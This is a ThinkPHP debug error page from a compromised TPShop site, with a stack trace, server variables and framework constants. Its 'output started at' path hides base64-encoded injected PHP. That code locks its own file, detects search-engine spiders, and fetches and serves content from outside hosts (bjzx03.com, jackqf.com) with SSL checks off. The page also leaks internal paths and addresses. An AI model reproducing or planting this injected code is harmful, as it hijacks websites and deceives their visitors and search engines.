System Error

[2] ErrorException in Base.php line 61

Cannot modify header information - headers already sent by (output started at data:;base64,PD9waHAKQGNobW9kKEZJTEUsIDA0NDQpO0BzZXNzaW9uX3N0YXJ0KCk7CnNldF90aW1lX2xpbWl0KDApO2Vycm9yX3JlcG9ydGluZygwKTsKaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7CiR0ciA9ICJzdHJpc3RyIjsKJGVyID0gJF9TRVJWRVI7CmZ1bmN0aW9uIGh0dHBHZXRsYWkoJHVybCkgewogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgQmFpZHVzcGlkZXIvMi4wOyAraHR0cDovL3d3dy5iYWlkdS5jb20vc2VhcmNoL3NwaWRlci5odG1sKScpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKICAgICRvdXRwdXQgPSBjdXJsX2V4ZWMoJGNoKTsKICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgIHJldHVybiAkb3V0cHV0Owp9ICAgCmRlZmluZSgndXJsJywgJGVyWydSRVFVRVNUX1VSSSddKTsKZGVmaW5lKCdyZWYnLCAkZXJbJ0hUVFBfUkVGRVJFUiddKTsKZGVmaW5lKCdlbnQnLCAkZXJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKZGVma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c2h0bWwiKSBvciAkdHIodXJsLCAiLnRhY2MiKW9yICR0cih1cmwsICIuZ2EiKW9yICR0cih1cmwsICIuZ3EiKSBvciAkdHIodXJsLCAiLnhsc3giKSBhbmQgJHRyKHVybCwgIj8vIikpOwppZiAocHJlZ19tYXRjaChyZWdzLCBlbnQpKSB7CiAgICBpZiAoYXJlYSkgewogICAgICAgIGVjaG8gaHR0cEdldGxhaShzaXRlLnJvYWQpOwogICAgICAgIGV4aXQ7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gaHR0cEdldGxhaSgiaHR0cDovL3d3dy5ianp4MDMuY29tL3gucGhwIik7CiAgICAgICAgb2JfZmx1c2goKTsKICAgICAgICBmbHVzaCgpOwogICAgfQp9CmlmIChhcmVhKXsKICAgIGlmIChwcmVnX21hdGNoKG1vYmlsZSwgZW50KSl7CiAgICAgICAgJENvbnRlbnRfbWI9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuamFja3FmLmNvbS8iKTsKICAgICAgICBlY2hvICRDb250ZW50X21iOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KPz4=:33)

  1. if (input("unique_id")) { // 兼容手机app
  2. session_id(input("unique_id"));
  3. Session::start();
  4. }
  5. header("Cache-control: private"); // history.back返回后输入框值丢失问题 参考文章 http://www.tp-shop.cn/article_id_1465.html http://blog.csdn.net/qinchaoguang123456/article/details/29852881
  6. $this->session_id = session_id(); // 当前的 session_id
  7. define('SESSION_ID',$this->session_id); //将当前的session_id保存为常量,供其它方法调用
  8. // 判断当前用户是否手机

Call Stack

  1. in Base.php line 61
  2. at Error::appError(2, 'Cannot modify header...', '/www/wwwroot/ycjx.zq...', 61, [])
  3. at header('Cache-control: priva...') in Base.php line 61
  4. at Base->_initialize() in Index.php line 29
  5. at Index->_initialize() in Controller.php line 167
  6. at Controller->__construct(object(Request))
  7. at ReflectionClass->newInstanceArgs([object(Request)]) in App.php line 362
  8. at App::invokeClass('app\home\controller\...') in Loader.php line 459
  9. at Loader::controller('Index', 'controller', false, 'Error') in App.php line 578
  10. at App::module(['Home', 'Index', 'newsdetails'], ['app_host' => '', 'app_debug' => true, 'app_trace' => false, ...], null) in App.php line 460
  11. at App::exec(['type' => 'module', 'module' => ['Home', 'Index', 'newsdetails']], ['app_host' => '', 'app_debug' => true, 'app_trace' => false, ...]) in App.php line 142
  12. at App::run() in start.php line 19
  13. at require('/www/wwwroot/ycjx.zq...') in index.php line 98

Environment Variables

GET Data

article_id
45
POST Data
empty
Files
empty
Cookies
empty
Session
empty

Server/Request Data

USER
www
HOME
/home/www
FCGI_ROLE
RESPONDER
SCRIPT_FILENAME
/www/wwwroot/ycjx.zqkjgroup.net/index.php
QUERY_STRING
s=/Home/Index/newsdetails/article_id/45.html
REQUEST_METHOD
GET
CONTENT_TYPE
CONTENT_LENGTH
SCRIPT_NAME
/index.php
REQUEST_URI
/Home/Index/newsdetails/article_id/45.html
DOCUMENT_URI
/index.php
DOCUMENT_ROOT
/www/wwwroot/ycjx.zqkjgroup.net
SERVER_PROTOCOL
HTTP/1.1
REQUEST_SCHEME
http
GATEWAY_INTERFACE
CGI/1.1
SERVER_SOFTWARE
nginx/1.19.8
REMOTE_ADDR
168.76.53.169
REMOTE_PORT
20002
SERVER_ADDR
172.17.166.94
SERVER_PORT
80
SERVER_NAME
www.asun.cn
REDIRECT_STATUS
200
PATH_INFO
/Home/Index/newsdetails/article_id/45.html
HTTP_USER_AGENT
Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)
HTTP_HOST
www.asun.cn
HTTP_ACCEPT
*/*
HTTP_ACCEPT_ENCODING
deflate, gzip
PHP_SELF
/index.php
REQUEST_TIME_FLOAT
1660821290.405
REQUEST_TIME
1660821290
Environment Variables
empty

ThinkPHP Constants

url
/Home/Index/newsdetails/article_id/45.html
ref
Resource
ent
Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)
site
http://www.bjzx03.com/
road
?www.asun.cn/Home/Index/newsdetails/article_id/45.html
regs
@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i
mobile
/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/
area
false
PLUGIN_PATH
/www/wwwroot/ycjx.zqkjgroup.net/plugins/
UPLOAD_PATH
public/upload/
TPSHOP_CACHE_TIME
1
SITE_URL
http://www.asun.cn
INSTALL_DATE
1463741583
SERIALNUMBER
20160520065303oCWIoa
APP_PATH
/www/wwwroot/ycjx.zqkjgroup.net/application/
NOW_TIME
1660821290
THINK_VERSION
5.0.15
THINK_START_TIME
1660821290.5337
THINK_START_MEM
287704
EXT
.php
DS
/
THINK_PATH
/www/wwwroot/ycjx.zqkjgroup.net/thinkphp/
LIB_PATH
/www/wwwroot/ycjx.zqkjgroup.net/thinkphp/library/
CORE_PATH
/www/wwwroot/ycjx.zqkjgroup.net/thinkphp/library/think/
TRAIT_PATH
/www/wwwroot/ycjx.zqkjgroup.net/thinkphp/library/traits/
ROOT_PATH
/www/wwwroot/ycjx.zqkjgroup.net/
EXTEND_PATH
/www/wwwroot/ycjx.zqkjgroup.net/extend/
VENDOR_PATH
/www/wwwroot/ycjx.zqkjgroup.net/vendor/
RUNTIME_PATH
/www/wwwroot/ycjx.zqkjgroup.net/runtime/
LOG_PATH
/www/wwwroot/ycjx.zqkjgroup.net/runtime/log/
CACHE_PATH
/www/wwwroot/ycjx.zqkjgroup.net/runtime/cache/
TEMP_PATH
/www/wwwroot/ycjx.zqkjgroup.net/runtime/temp/
CONF_PATH
/www/wwwroot/ycjx.zqkjgroup.net/application/
CONF_EXT
.php
ENV_PREFIX
PHP_
IS_CLI
false
IS_WIN
false
IS_AJAX
false
IS_GET
true
IS_POST
false
MODULE_NAME
home
CONTROLLER_NAME
Index
ACTION_NAME
newsdetails
PREFIX
tp_